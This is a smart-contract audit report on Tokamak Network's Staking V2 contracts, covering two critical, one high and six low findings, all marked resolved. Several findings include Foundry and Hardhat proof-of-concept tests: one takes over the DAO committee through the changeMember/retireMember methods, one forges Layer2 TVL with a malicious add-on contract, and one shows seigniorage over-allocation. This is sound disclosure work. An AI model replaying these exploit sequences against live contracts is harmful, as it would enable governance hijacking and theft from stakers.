

Tokamak Network

Staking V2

Smart Contract

Audit Report

Customer: Tokamak Network

Provider: BlackCow

Date: 13 March, 2025

Table of Contents

Introduction

Project Information

Scope

Issue Specifications

Findings

Smart Contract Risk Assessment

Disclaimer

Introduction

This report provides the analysis and security review results of the Tokamak Network Staking V2 smart contract code.

Project Information

Scope

This section documents the repository and the list of smart contracts that are subject to review for this project.

ton-staking-v2

URL <https://github.com/tokamak-network/ton-staking-v2>

Branch [v2.5-audit-hammer](#)

Commit [01e198130b178757dd194bd8726a1ab678fca167](#)

Last Commit [bd80049e95d573f2fb6e7463d68e61438c9ff157](#)

Contracts in Scope

Contract
DAOCommitteeProxy2.sol
DAOCommittee_V1.sol
DAOCommitteeOwner.sol
SeigManagerV1_3.sol
DepositManagerV1_1.sol
L1BridgeRegistryV1_1.sol
Layer2ManagerV1_1.sol
OperatorManagerV1_1.sol
CandidateAddOnV1_1.sol

Issue specifications

This section provides a detailed explanation of issues that may impact the functionality of the smart contract. The issues included in this report are categorized based on the following severity levels, although other external factors such as impact and difficulty of exploitation may also be considered.

Category	Description
CRITICAL	Exploiting this vulnerability could result in the leakage of the system or a partial or total loss of user funds. Additionally, if this vulnerability causes the contract to malfunction as intended, it could lead to severe financial losses.
HIGH	A malicious user or a faulty function could lead to system blockage or partial loss of funds by the system or users. Critical system invariants may also be violated.
MEDIUM	Unexpected behavior may occur in certain protocol functions, but it does not meet the criteria for higher severity levels.
LOW	If a minor vulnerability exists, it may cause inconvenience to users or degrade system functionality. While it does not lead to financial loss or critical issues, it can negatively impact the system's reliability and user satisfaction.

Findings

This section provides a summary of the findings identified during the audit.

Severity	Number	Resolved	Mitigated	Acknowledged
CRITICAL	2	2	0	0
HIGH	1	1	0	0
MEDIUM	0	0	0	0
LOW	6	6	0	0

Smart Contract Risk Assessment

[CRITICAL #01] A vulnerability that allows DAO authority to be hijacked using the `retireMember` / `changeMember` methods

Summary

[Github Issue Link](#)

The `retireMember` method is used when a DAO member voluntarily relinquishes their role, while the `changeMember` method allows the removal of a DAO member with a lower staking amount. However, since there are no restrictions on these two methods, an attacker with a sufficient staking amount could exploit them to revoke the membership of other DAO members and potentially take control of the DAO.

Vulnerability Details

A malicious user with a sufficient staking amount can use the `changeMember` method to revoke the membership of DAO members with lower stakes. After taking their position, the attacker can call the `retireMember` method to voluntarily relinquish their role, creating a vacancy in the DAO committee. This vacancy can then be filled by adding a candidate with a relatively lower staking amount as a new member. By repeating this process, the attacker can systematically remove the remaining DAO members and eventually gain majority control over the committee.

PoC

```

1  interface IDaoCommittee {
2      function changeMember(uint256 _memberIndex) external returns (bool);
3      function members(uint256) external view returns (address);
4      function retireMember() external returns (bool);
5  }
6
7  contract ContractTest is Test {
8      IDaoCommittee constant DAO_COMMITTEE =
9          IDaoCommittee(0xA2101482b28E3D99ff6ced517bA41EFf4971a386);
10
11     function setUp() public {
12         vm.createSelectFork(
13             "https://sepolia.infura.io/v3/[INFURA_KEY]",
14             6934215
15         );
16     }
17
18     function test_changeMember() public {
19         console.log(DAO_COMMITTEE.members(0));
20         console.log(DAO_COMMITTEE.members(1));
21         console.log(DAO_COMMITTEE.members(2));
22
23         vm.startPrank(0xaeB0463a2Fd96C68369C1347ce72997406Ed6409);
24         DAO_COMMITTEE.retireMember();
25         DAO_COMMITTEE.changeMember(1);
26         DAO_COMMITTEE.retireMember();
27         DAO_COMMITTEE.changeMember(2);
28         DAO_COMMITTEE.retireMember();
29         vm.stopPrank();
30
31         console.log(DAO_COMMITTEE.members(0));
32         console.log(DAO_COMMITTEE.members(1));
33         console.log(DAO_COMMITTEE.members(2));
34     }
35 }

```

Impact

A malicious user can exploit this vulnerability to gain majority control over the DAO committee, allowing them to propose and vote on governance decisions at their discretion.

Recommendation

A penalty should be imposed on the `retireMember` method to restrict its malicious exploitation.

Resolution

The issue can be mitigated by adding the `Candidate` who called the `retireMember` method to a blacklist, preventing them from rejoining the DAO.

```
1 | blacklist[candidateInfo.candidateContract] = true;  
2 | emit MemberBlacklisted(candidate, block.timestamp);
```


[CRITICAL #02] A vulnerability that allows manipulating Layer2 TVL by hijacking another Layer2's rollup config

Summary

[Github Issue Link](#)

The `_increaseTot` method, which is called during seigniorage distribution, retrieves the `rollupConfig` from the Layer2 contract using the operator method to verify the Layer2 TVL. However, an attacker can register a malicious `CandidateAddOn` contract as a Layer2 and manipulate it to return a forged operator address. This allows the attacker to hijack another Layer2's `rollupConfig`, leading to an artificially inflated Layer2 TVL. Exploiting this vulnerability could disrupt the overall seigniorage distribution system.

Vulnerability Details

In the `_increaseTot` method, which verifies the TVL of a Layer2, the code uses `msg.sender` (the `CandidateAddOn` contract) as an input to retrieve the `rollupConfig`. This allows an attacker to register a malicious `CandidateAddOn` contract and manipulate the returned operator address, potentially hijacking another Layer2's `rollupConfig`.

```
1 | (rollupConfig, layer2Allowed) = allowIssuanceLayer2Seigs(msg.sender);
2 | if (layer2Allowed)
3 |     curLayer2Tvl = IL1BridgeRegistry(l1BridgeRegistry).layer2TVL(rollupConfig);
```

The `allowIssuanceLayer2Seigs` method calls the operator method of the `CandidateAddOn` contract to retrieve the operator contract's address. This address is then used to fetch the `rollupConfig`. This means that if the `CandidateAddOn` contract returns a different operator address, it can lead to retrieving the `rollupConfig` of another Layer2, potentially allowing an attacker to manipulate the seigniorage distribution process.

```
1 | function allowIssuanceLayer2Seigs(
2 |     address layer2
3 | ) public view returns (address rollupConfig, bool allowed) {
4 |     rollupConfig = ILayer2Manager(layer2Manager).rollupConfigOfOperator(
5 |         Layer2I(layer2).operator()
6 |     );
```

The `_increaseTot` method subsequently passes the `rollupConfig` to the `layer2TVL` method of the `L1BridgeRegistry` contract. This method reads the bridge or `optimismPortal` address from the `rollupConfig` to check the token balance of the corresponding contract, which is used to determine the liquidity locked in the Layer2. However, if a hijacked `rollupConfig` is used, it can return an incorrect TVL value, leading to disruptions in the overall seigniorage distribution system.

```

1      function layer2TVL(address rollupConfig) public view returns (uint256 amount) {
2
3          uint _type = rollupInfo[rollupConfig].rollupType;
4
5          if (_type == 1) {
6              address l1Bridge_ = IOptimismSystemConfig(rollupConfig).l1StandardBridge_;
7              if (l1Bridge[l1Bridge_]) amount = IERC20(ton).balanceOf(l1Bridge_);

```

[Scenario]

- The attacker registers a malicious `CandidateAddOn` contract as a Layer2, which returns the operator address of the Layer2 with the highest TVL.
- When `updateSeigniorage` checks the TVL, the hijacked `rollupConfig` returns an artificially inflated TVL value.
- As a result, the total Layer2 TVL is set higher than the actual value, causing seigniorage that should have been distributed to other users to become locked in the `Layer2Manager`.

PoC

```

1 describe("# Reject updating seigniorage from unknown sender", () => {
2     it("updateSeigniorage", async () => {
3         const accounts = await ethers.getSigners();
4         const { L2Registry, DepositManager } = await getNamedContracts();
5
6         const invalidCandidateAddOnFactory = await ethers.getContractFactory(
7             "InvalidCandidateAddOn",
8         );
9         console.log(`thanos : ${thanosOperatorContractAddress}`);
10        console.log(`layer2Registry : ${L2Registry}`);
11        const invalidCandidateAddOn = await invalidCandidateAddOnFactory.deploy(
12            thanosOperatorContractAddress,
13            L2Registry,
14            seigManager.address,
15        );
16        await invalidCandidateAddOn.deployed();
17        console.log(`invalidCandidateAddOn : ${invalidCandidateAddOn.address}`);
18
19        const layer2Registry = await ethers.getContractAt(
20            "Layer2Registry",
21            L2Registry,
22        );
23
24        layer2Registry.deployCoinage(
25            invalidCandidateAddOn.address,
26            seigManager.address,
27        );
28
29        await layer2Registry.register(invalidCandidateAddOn.address);
30
31        await wtonContract
32            .connect(tonMinter)
33            .mint(accounts[0].address, ethers.utils.parseUnits("1014", "ether"));
34
35        await wtonContract
36            .connect(accounts[0])
37            .approve(depositManager.address, ethers.utils.parseUnits("1014", "ether"));
38        await (
39            await depositManager
40                .connect(accounts[0])
41                .["deposit(address,address,uint256)"](
42                    invalidCandidateAddOn.address,
43                    thanosOperatorContractAddress,
44                    ethers.utils.parseUnits("1014", "ether"),
45                )
46        ).wait();
47
48        console.log(`before ${await seigManager.totalLayer2TVL}`);
49        await invalidCandidateAddOn.updateSeigniorage();
50        console.log(`after ${await seigManager.totalLayer2TVL}`);
51    });
52 });

```

Impact

This vulnerability results in excessive rewards being allocated to the affected Layer2, causing losses to other staking users. Consequently, it can disrupt the seigniorage distribution system, undermining its fairness and functionality.

Recommendation

When verifying the TVL of a Layer2, the system should use internally stored values rather than relying on external contracts. This ensures that the TVL cannot be manipulated through external contract exploits, preventing unauthorized modifications that could disrupt the seigniorage distribution system.

Resolution

To mitigate this issue, a mapping between the operator and Layer2 addresses should be created during the Layer2 registration process. When verifying the TVL, the system should reference this mapping instead of relying on external contract calls. This approach ensures that only registered and verified Layer2 addresses are used for TVL calculations, preventing manipulation through unauthorized contract substitutions.

[HIGH #01] Seigniorage distribution error due to miscalculation of initialDebt

Summary

The `SeigManager` distributes seigniorage to each Layer2 based on `l2RewardPerUint`, which represents a factor for the accumulated rewards. When distributing rewards, `initialDebt` is used to exclude previously distributed rewards. However, when a Layer2's TVL increases or decreases after initialization, this value is not updated accordingly. As a result, if the TVL increases, a disproportionately high amount of rewards may be allocated to that Layer2, leading to an unfair distribution of seigniorage.

Vulnerability Details

The `initialDebt` is set based on `l2RewardPerUint` when a Layer2 calls the `updateSeigniorage` method for the first time.

```
1 | if (l2RewardPerUint != 0) {
2 |     if (newLayer2Info.startBlock == 0) {
3 |         if (curLayer2Tvl != 0) {
4 |             newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl) / 1e18;
5 |             newLayer2Info.startBlock = block.number;
6 |         }
```

Each time a Layer2 receives seigniorage distribution, the allocated amount is added to `initialDebt`.

```
1 | layer2Seigs = unSettledReward(msg.sender);
2 | if (layer2Seigs != 0) {
3 |     ILayer2Manager(_layer2Manager).updateSeigniorage(rollupConfig, layer2Seigs);
4 |     newLayer2Info.initialDebt += layer2Seigs;
```

The issue arises because `l2RewardPerUint` represents the accumulated reward value. If changes in a Layer2's TVL (increase or decrease) are not properly reflected in `initialDebt`, newly added tokens may receive disproportionately high rewards, leading to an unfair distribution of seigniorage.

[Scenario]

- A and B are Layer2s with 50 staked tokens each.
- The TVL of B increases by 100 after 100 seigniorage tokens have been generated.
- When `updateSeigniorage` is called, A and B's `initialDebt` = 50, and `l2RewardPerUint` = 1.
- After another 100 seigniorage tokens are generated, `updateSeigniorage` is called again.
- Total staked tokens = 200, `l2RewardPerUint` is 0.5 (100 / 200) = 1.5.

- Seigniorage allocated to A = $50 * 1.5 - 50 = 25$.
- Seigniorage allocated to B = $150 * 1.5 - 50 = 175$.
- Although 100 seigniorage tokens were generated, the total amount allocated to A and B is 200, causing an issue.

PoC

The following code can be used in the Foundry environment. When executed, it will attempt to allocate more rewards to the Layer2 than the seigniorage generated, causing the transaction to revert.

```

1  ... [ Omitted ]
2  function test_normal() public {
3      (address rollupConfig, ) = SEIG_MANAGER.allowIssuanceLayer2Seigs(
4          address(CANDIDATE)
5      );
6
7      console.log(LAYER2_MANAGER_PROXY.operatorOfRollupConfig(rollupConfig));
8      address portal = IOptimismSystemConfig(rollupConfig).optimismPortal();
9      console.log("portal", TON.balanceOf(portal));
10
11     vm.prank(0x0Fd5632f3b52458C31A2C3eE1F4b447001872Be9);
12     CANDIDATE.updateSeigniorage();
13
14     vm.roll(block.number + 10000);
15     vm.prank(0x0Fd5632f3b52458C31A2C3eE1F4b447001872Be9);
16     CANDIDATE.updateSeigniorage();
17     console.log("2nd", TON.balanceOf(portal));
18
19     // Issuance of TON on the Optimism Portal (equivalent to bridging).
20     vm.prank(0x757DE9c340c556b56f62eFaE859Da5e08BAAE7A2);
21     TON.mint(address(portal), 1000e18);
22
23     vm.roll(block.number + 10000);
24     vm.prank(0x0Fd5632f3b52458C31A2C3eE1F4b447001872Be9);
25     CANDIDATE.updateSeigniorage();
26     console.log("3rd", TON.balanceOf(portal));
27
28     vm.roll(block.number + 10000);
29     vm.prank(0x0Fd5632f3b52458C31A2C3eE1F4b447001872Be9);
30     CANDIDATE.updateSeigniorage();
31     console.log("4th", TON.balanceOf(portal));
32 }

```

Impact

Excessive rewards may be allocated to newly added liquidity, which can disrupt the seigniorage distribution system.

Recommendation

In the `updateSeigniorage` method, the previous TVL of the Layer2 should be compared with the current TVL, and if there is a difference, the `initialDebt` should be adjusted accordingly.

Resolution

The issue is resolved by modifying the `_increaseTot` method to update `initialDebt` whenever there is a change in TVL.

```
1  if (oldLayer2Info.layer2Tvl != curLayer2Tvl) {
2      newLayer2Info.layer2Tvl = curLayer2Tvl;
3      totalLayer2TVL = totalLayer2TVL + curLayer2Tvl - oldLayer2Info.layer2Tvl;
4  }
5
6  // If this the first commit, set up an initial debt
7  if (oldLayer2Info.startBlock == 0) {
8      newLayer2Info.startBlock = block.number;
9      newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl) / WEI_UINT;
10 } else {
11     newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl) / WEI_UINT;
```

[LOW #01] Removed unnecessary validation code in the contract deployment process

Summary

[Github Issue Link](#)

Even though contract deployment cannot fail, there are verification codes like the one below that check if the contract address is `address(0)` after deployment. This is an unnecessary validation and should be removed.

```
1 | address candidateContract = ICandidateAddOnFactory(candidateAddOnFactory).deploy
2 |     _operatorManagerAddress,
3 |     _memo,
4 |     address(this),
5 |     address(seigManager)
6 | );
7 | if (candidateContract == address(0)) revert CreateCandidateError(1);
```

Verification codes that check the contract address after deployment:

- <https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167/contracts/dao/factory/CandidateAddOnFactory.sol#L97>
- https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167/contracts/dao/DAOCommitteeAddV1_1.sol#L120
- https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167/contracts/dao/DAOCommittee_V1.sol#L214
- https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167/contracts/dao/DAOCommittee_V1.sol#L644
- https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167r/contracts/dao/DAOCommittee_V1.sol#L267
- https://github.com/tokamak-network/ton-staking-v2/blob/01e198130b178757dd194bd8726a1ab678fca167/contracts/dao/DAOCommittee_V1.sol#L171

Recommendation

Unnecessary validation consumes gas, so this code should be removed.

Resolution

The issue is resolved by removing the unnecessary validation code.

[LOW #02] Improved the depositByCandidateAddOn and claimByCandidateAddOn methods in the OperatorManagerV1_1 contract

Summary

The `depositByCandidateAddOn` and `claimByCandidateAddOn` methods in the `OperatorManagerV1_1` contract contain unnecessary code relative to their required functionality and should be simplified.

Resolution

[Before Changes]

OperatorManagerV1_1.sol

```
1  function claimByCandidateAddOn(uint256 amount, bool falgTon) public onlyCandidateAddOn {
2
3      if (falgTon) {
4          uint256 balanceTON = IERC20(ton).balanceOf(address(this));
5          uint256 tonAmount = amount/1e9;
6          if (balanceTON < tonAmount) {
7              uint256 swapWtonToTonAmount = amount - (balanceTON * 1e9);
8
9              if (IERC20(wton).balanceOf(address(this)) < swapWtonToTonAmount)
10                 else IWTON(wton).swapToTON(swapWtonToTonAmount);
11          }
12          _claim(ton, manager, tonAmount);
13      } else {
14          _claim(wton, manager, amount);
15      }
16      ...
17      function depositByCandidateAddOn(uint256 amount) external onlyCandidateAddOn {
18          _depositTo(msg.sender, manager, amount);
19      }
20      ...
21      function _depositTo(address layer2, address to, uint256 amount) internal {
22          address _depositManager = depositManager;
23          address _wton = wton;
24
25          uint256 allowance = IERC20(_wton).allowance(address(this), _depositManager);
26          if (allowance < amount) IERC20(_wton).approve(_depositManager, type(uint256).max);
27
28          IDepositManager(_depositManager).deposit(layer2, to, amount);
29      }
```

CandidateAddOnV1_1

```

1  function updateSeigniorage(uint256 afterCall, bool flagTON) public returns (uint256) {
2
3      if (IOperateContract(candidate).isOperator(msg.sender)) {
4          uint256 amount = IERC20(wton).balanceOf(candidate);
5          if (amount != 0) {
6              if (afterCall == 2) {
7                  IOperateContract(candidate).depositByCandidateAddOn(amount);
8              } else if (afterCall == 1) {
9                  IOperateContract(candidate).claimByCandidateAddOn(amount, flagTON);
10             }
11         }
12     }
13 }

```

[After Changes]

OperatorManagerV1_1.sol

```

1  function claimByCandidateAddOn(bool flagTon) public onlyCandidateAddOn {
2      address _wton = wton;
3      uint256 amount = IERC20(_wton).balanceOf(address(this));
4
5      if (flagTon) {
6          address _ton = ton;
7          if (amount != 0) IWTON(_wton).swapToTON(amount);
8          amount = IERC20(_ton).balanceOf(address(this));
9          if (amount == 0) revert InsufficientBalanceError();
10         _claim(_ton, manager, amount);
11     } else {
12         if (amount == 0) revert InsufficientBalanceError();
13         _claim(_wton, manager, amount);
14     }
15 }
16 ...
17 function depositByCandidateAddOn() external onlyCandidateAddOn {
18     _depositTo(msg.sender, manager);
19 }
20 ...
21 function _depositTo(address layer2, address to) internal {
22     address _depositManager = depositManager;
23     uint256 amount = _onAapproveHoldingAmount(_depositManager);
24     IDepositManager(_depositManager).deposit(layer2, to, amount);
25 }
26
27 function _onAapproveHoldingAmount(address to) internal returns (uint256) {
28     address _wton = wton;
29     uint256 amount = IERC20(_wton).balanceOf(address(this));
30     if (amount == 0) revert InsufficientBalanceError();
31
32     uint256 allowance = IERC20(_wton).allowance(address(this), to);
33     if (allowance < amount) IERC20(_wton).approve(to, type(uint256).max);
34
35     return amount;
36 }

```

CandidateAddOnV1_1

```
1 function updateSeigniorage(uint256 afterCall, bool flagTON) public returns (bool) {
2
3     if (IOperateContract(candidate).isOperator(msg.sender)) {
4         require(IISeigManager(seigManager).updateSeigniorageOperator(), "failed");
5         if (afterCall != 0) {
6             if (afterCall == 2) {
7                 IOperateContract(candidate).depositByCandidateAddOn();
8             } else if (afterCall == 1) {
9                 IOperateContract(candidate).claimByCandidateAddOn(flagTON);
10            }
11        }
12    }
13}
```

[LOW #03] Removed unnecessary variable assignment in the `_claim` method of the `OperatorManagerV1_1` contract

Summary

[Github Issue Link](#)

In the `_claim` method of the `OperatorManagerV1_1` contract, `address(this)` is assigned to a memory variable before use. This is an unnecessary variable assignment and should be removed for gas optimization.

```
1 | function _claim(address token, address to, uint256 amount) internal {
2 |     address thisAccount = address(this);
3 |     if(token == address(0)) {
```

Recommendation

Unnecessary memory variable assignment consumes gas, so this code should be removed.

Resolution

The issue is resolved by removing the unnecessary code.

[Before Changes]

```
1 | function _claim(address token, address to, uint256 amount) internal {
2 |     address thisAccount = address(this);
3 |     if(token == address(0)) {
4 |         if(thisAccount.balance < amount) revert InsufficientBalanceError();
5 |         (bool success, ) = to.call{value: amount}("");
6 |         if (!success) revert TransferEthError();
7 |     } else {
8 |         if (IERC20(token).balanceOf(thisAccount) < amount) revert Insufficient
```

[After Changes]

```
1 | function _claim(address token, address to, uint256 amount) internal {
2 |     if(token == address(0)) {
3 |         if(address(this).balance < amount) revert InsufficientBalanceError();
4 |         (bool success, ) = to.call{value: amount}("");
5 |         if (!success) revert TransferEthError();
6 |     } else {
7 |         if (IERC20(token).balanceOf(address(this)) < amount) revert Insufficient
```

[LOW #04] Removed unnecessary storage modification code in the `_increaseTot` method of the `SeigManagerV1_3` contract

Summary

[Github Issue Link](#)

In the `_increaseTot` method, if false is returned, the transaction is reverted due to the following code. However, there are storage modifications just before returning false, which are unnecessary since they will be reverted anyway. These storage modifications should be removed.

```
1  function _increaseTot(bool _isSenderOperator) internal returns (bool result)
2      // short circuit if already seigniorage is given.
3      if (block.number <= _lastSeigBlock) return false;
4
5      if (RefactorCoinageSnapshotI(_tot).totalSupply() == 0) {
6          _lastSeigBlock = block.number; // Unnecessary storage change
7          return false;
8      }
9
10     ...
11
12     function _updateSeigniorage() internal ifFree returns (bool) {
13         ...
14         if (!_increaseTot()) revert IncreaseTotError(); // Transaction is re
```

Recommendation

Unnecessary storage modifications consume gas, so this code should be removed.

Resolution

The issue is resolved by removing the unnecessary code.

[Before Changes]

```
1  function _increaseTot(bool _isSenderOperator) internal returns (bool result)
2      // short circuit if already seigniorage is given.
3      if (block.number <= _lastSeigBlock) return false;
4
5      if (RefactorCoinageSnapshotI(_tot).totalSupply() == 0) {
6          _lastSeigBlock = block.number;
7          return false;
8      }
```

[After Changes]

```
1 | function _increaseTot(bool _isSenderOperator) internal returns (bool result)
2 |     // short circuit if already seigniorage is given.
3 |     if (block.number <= _lastSeigBlock) return false;
4 |
5 |     if (RefactorCoinageSnapshotI(_tot).totalSupply() == 0) {
```

[LOW #05] Removed unnecessary code from the `_availableRegister` method in the `Layer2ManagerV1_1` contract

Summary

[Github Issue Link](#)

The `_availableRegister` method is used to validate the `rollupConfig` parameter. However, it performs unnecessary operations such as checking the balance of the Bridge and Optimism Portal. These unnecessary operations should be removed to optimize the method.

Recommendation

The validity of `rollupConfig` can be verified solely by checking its type (0: unregistered, 1: Thanos Stack, 2: Titan Stack). Therefore, unnecessary code should be removed to optimize the method.

Resolution

The code is optimized by removing unnecessary operations.

[Before Changes]

```
1  function _availableRegister(address _rollupConfig) internal view returns (bool)
2
3      (uint8 _type,,,, ) = IL1BridgeRegistry(l1BridgeRegistry).getRollupInfo(_rollupConfig);
4      // if (bytes32(bytes(_name)) != bytes32(bytes(name_))) return (false, ());
5
6      if (_type == 1) { // optimism legacy : titan
7
8          address l1Bridge = IOptimismSystemConfig(_rollupConfig).l1StandardBridge();
9          if (l1Bridge != address(0)) {
10             amount = IERC20(ton).balanceOf(l1Bridge);
11             result = true;
12         }
13
14     } else if (_type == 2) { // optimism bedrock native TON: thanos, on-demand
15
16         address l1Bridge = IOptimismSystemConfig(_rollupConfig).l1StandardBridge();
17         address optimismPortal = IOptimismSystemConfig(_rollupConfig).optimismPortal();
18         if (optimismPortal != address(0) && l1Bridge != address(0) ) {
19             amount = IERC20(ton).balanceOf(optimismPortal);
20             result = true;
21         }
22     }
23 }
```

[After Changes]

```
1 | function _availableRegister(address _rollupConfig) internal view returns (bool) {
2 |     (uint8 _type,,,, ) = IL1BridgeRegistry(l1BridgeRegistry).getRollupInfo(_rollupConfig);
3 |     return _type != 0 ? true : false;
4 | }
```


[LOW #06] Optimized the code for distributing Layer2 seigniorage in the `_increaseTot` method of the `SeigManagerV1_3` contract.

Summary

[Github Pull Request Link](#)

The code for distributing Layer2 seigniorage is unnecessarily scattered across multiple locations and contains redundant computations and variable assignments, making it necessary to optimize.

Resolution

The issue was resolved by submitting a Pull Request with the optimized code.

[Before Changes]

```

1  address _layer2Manager = layer2Manager;
2
3  // If layer2StartBlock == 1, l2TotalSeigs will not be issued.
4  if (_layer2Manager != address(0) && layer2StartBlock != 1 ) {
5      if (totalLayer2TVL != 0) l2TotalSeigs = rdiv(rmul(maxSeig, totalLayer2TVL
6  }
7  ...
8  uint256 layer2Seigs;
9  uint256 curLayer2Tvl;
10 Layer2Reward memory oldLayer2Info = layer2RewardInfo[msg.sender];
11
12 (address rollupConfig, bool layer2Allowed) = allowIssuanceLayer2Seigs(msg.se
13
14 if (layer2Allowed && !isPauseL2Seigniorage(msg.sender))
15     curLayer2Tvl = IL1BridgeRegistry(l1BridgeRegistry).layer2TVL(rollupConfig
16
17 if (l2TotalSeigs != 0) {
18     l2RewardPerUint += (l2TotalSeigs * WEI_UINT) / totalLayer2TVL;
19
20     if (layer2Allowed && !isPauseL2Seigniorage(msg.sender)) {
21
22         Layer2Reward storage newLayer2Info = layer2RewardInfo[msg.sender];
23
24         if (oldLayer2Info.startBlock == 0 && curLayer2Tvl != 0) {
25             newLayer2Info.startBlock = block.number;
26             newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl) / WEI
27
28
29         // distribute seigniorage to layer2 based on previous layer2 tvl
30         // layer2Tvl would be 0 when layer2 has been paused
31     } else if (oldLayer2Info.layer2Tvl > 0) {
32
33         // rewards just increase higher than layer2Debt because it is cal
34         layer2Seigs = ((l2RewardPerUint * oldLayer2Info.layer2Tvl) / WEI_
35
36         ILayer2Manager(layer2Manager).transferL2Seigniorage(rollupConfig,
37
38         // update layer2Debt based on current layer2Tvl
39         newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl) / WEI
40     }
41
42     // update layer2 tvl if it has changed
43     if (oldLayer2Info.layer2Tvl != curLayer2Tvl) {
44         newLayer2Info.layer2Tvl = curLayer2Tvl;
45     }
46 }
47
48 } else if (curLayer2Tvl != 0){
49     Layer2Reward storage newLayer2Info = layer2RewardInfo[msg.sender];
50     newLayer2Info.layer2Tvl = curLayer2Tvl;
51 }
52
53 totalLayer2TVL = totalLayer2TVL + curLayer2Tvl - oldLayer2Info.layer2Tvl;

```

[After Changes]

```

1      uint256 l2TotalSeigs;
2      uint256 layer2Seigs;
3      if (layer2StartBlock <= block.number && totalLayer2TVL > 0) {
4          l2TotalSeigs = rdiv(rmul(maxSeig, totalLayer2TVL * 1e9), tos);
5          l2RewardPerUint += (l2TotalSeigs * WEI_UINT) / totalLayer2TVL;
6          IWTon(wton_).mint(layer2Manager, l2TotalSeigs);
7      }
8
9      (address rollupConfig, bool allowed) = allowIssuanceLayer2Seigs(msg.sender);
10     if (allowed && !isPauseL2Seigniorage(msg.sender)) {
11         uint256 curLayer2Tvl = IL1BridgeRegistry(l1BridgeRegistry).layer2Tvl();
12         Layer2Reward storage newLayer2Info = layer2RewardInfo[msg.sender];
13         Layer2Reward memory oldLayer2Info = layer2RewardInfo[msg.sender];
14
15         // update layer2 tvl if it has changed
16         // Because the previous information(oldLayer2Info) was loaded into memory
17         if (oldLayer2Info.layer2Tvl != curLayer2Tvl) {
18             newLayer2Info.layer2Tvl = curLayer2Tvl;
19             totalLayer2TVL = totalLayer2TVL + curLayer2Tvl - oldLayer2Info.layer2Tvl;
20         }
21
22         // If this the first commit, set up an initial debt
23         if (oldLayer2Info.startBlock == 0) {
24             newLayer2Info.startBlock = block.number;
25             newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl);
26         } else {
27             newLayer2Info.initialDebt = (l2RewardPerUint * curLayer2Tvl);
28
29             // distribute seigniorage to layer2 based on previous layer2 tvl
30             // layer2Tvl would be 0 when layer2 has been paused
31             if (oldLayer2Info.layer2Tvl > 0) {
32                 layer2Seigs =
33                     ((l2RewardPerUint * oldLayer2Info.layer2Tvl) / WEI_UINT) -
34                     oldLayer2Info.initialDebt;
35                 // rewards just increase higher than layer2Debt because of seigniorage
36                 ILayer2Manager(layer2Manager).transferL2Seigniorage(rollupConfig, layer2Seigs);
37             }
38         }
39     }

```

Disclaimer

This report does not constitute an endorsement or disapproval of any specific project or team and should not be interpreted as such. It does not represent the economic viability or value of the “product” or “asset” created by the team or project under security assessment, nor should it be used as a tool for making such judgments. Additionally, this report does not provide any guarantee or assurance that the analyzed subject is entirely secure, nor does it offer any warranties regarding the technical ownership, business, business model, or legal compliance of the project.

This report should not be used in any way to make investment decisions or decisions regarding participation in a specific project. Furthermore, it does not provide any investment advice and should not be utilized as such in any form. This report represents an evaluation process aimed at mitigating the high levels of risk inherent in blockchain technology and improving code quality. It is important to recognize that, beyond the issues described in this report, there may be additional undiscovered vulnerabilities.